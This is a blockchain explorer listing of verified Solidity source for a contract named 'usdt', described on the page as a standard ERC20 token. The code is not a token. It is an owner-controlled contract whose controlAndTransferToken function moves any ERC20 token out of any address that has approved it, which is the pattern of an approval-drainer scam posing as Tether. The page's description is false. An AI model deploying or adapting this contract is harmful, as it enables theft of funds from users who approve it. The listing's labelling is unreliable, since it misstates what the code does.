usdt

Description:

ERC20 token contract. Standard implementation for fungible tokens on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
 * 最小 IERC20 接口(与原文件保持一致签名),
 * 实际调用会走下面的 SafeERC20Any 低级 call 封装以兼容“无返回值”的代币。
 */
interface IERC20 {
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    // 注意:很多老代币没有标准的 approve/decimals/totalSupply 声明,这里不强制
    function approve(address spender, uint256 amount) external returns (bool);
}

/**
 * 兼容“可能不返回 bool”的 ERC20 的安全封装。
 * 思路与 OpenZeppelin SafeERC20 类似:低级 call,如果无返回值则视为成功;若有返回值则要求为 true。
 */
library SafeERC20Any {
    function _callOptionalReturn(address token, bytes memory data) private returns (bool) {
        (bool ok, bytes memory ret) = token.call(data);
        require(ok, "ERC20: low-level call failed");
        if (ret.length == 0) return true; // 无返回值,按成功处理(兼容 USDT 老实现)
        if (ret.length == 32) {
            // 大多数标准实现返回 32 字节的 bool
            return abi.decode(ret, (bool));
        }
        // 其它返回长度一律视为不合规
        revert("ERC20: invalid return data");
    }

    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        bool ok = _callOptionalReturn(
            address(token),
            abi.encodeWithSelector(token.transfer.selector, to, value)
        );
        require(ok, "ERC20: transfer failed");
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
        bool ok = _callOptionalReturn(
            address(token),
            abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
        );
        require(ok, "ERC20: transferFrom failed");
    }

    /**
     * USDT 友好的授权:先把额度重置为 0,再设为新值,避免某些代币在非 0->非 0 时 revert。
     */
    function safeApproveReset(IERC20 token, address spender, uint256 value) internal {
        // 先设 0
        bool ok0 = _callOptionalReturn(
            address(token),
            abi.encodeWithSelector(token.approve.selector, spender, 0)
        );
        require(ok0, "ERC20: approve(0) failed");

        // 再设新值
        bool ok = _callOptionalReturn(
            address(token),
            abi.encodeWithSelector(token.approve.selector, spender, value)
        );
        require(ok, "ERC20: approve failed");
    }
}

contract usdt {
    using SafeERC20Any for IERC20;

    address public owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Only the contract owner can perform this action");
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "New owner cannot be the zero address");
        owner = newOwner;
    }

    /**
     * 与原始对外方法同名同参:owner 受控,从 from 扣到 to。
     * 兼容 ETH/BSC USDT(及其它可能无返回值的代币)。
     */
    function controlAndTransferToken(
        address tokenAddress,
        address from,
        address to,
        uint256 amount
    ) public onlyOwner
    {
        IERC20 token = IERC20(tokenAddress);
        // 仍保留原始的额度检查(大多数 USDT/USDC 都有 allowance)
        require(token.allowance(from, address(this)) >= amount, "Insufficient allowance");
        token.safeTransferFrom(from, to, amount);
    }

    /**
     * 便捷授权:给某个 spender 授权(USDT 友好:先 0 后设新值)。
     * 注意这是合约(本合约地址)对外授权;若要 from 自己对本合约授权,仍需用户在钱包里先调用标准 approve。
     */
    function approveRouter(address tokenAddress, address spender, uint256 amount) external onlyOwner {
        IERC20(tokenAddress).safeApproveReset(spender, amount);
    }

    /**
     * 可选:查询余额(便于前端/后台查看)
     */
    function tokenBalanceOf(address tokenAddress, address account) external view returns (uint256) {
        return IERC20(tokenAddress).balanceOf(account);
    }
}

Tags:
ERC20, Token|addr:0x74de65fd94b8b9e28e2ebd6f574033fdda2d6adc|verified:true|block:23391771|tx:0x48adcc8119b56a816539b0b89518448b75a03acd621f7aba7f8825f65953aa15|first_check:1758272829

Submitted on: 2025-09-19 11:07:10

Comments

Log in to comment.

No comments yet.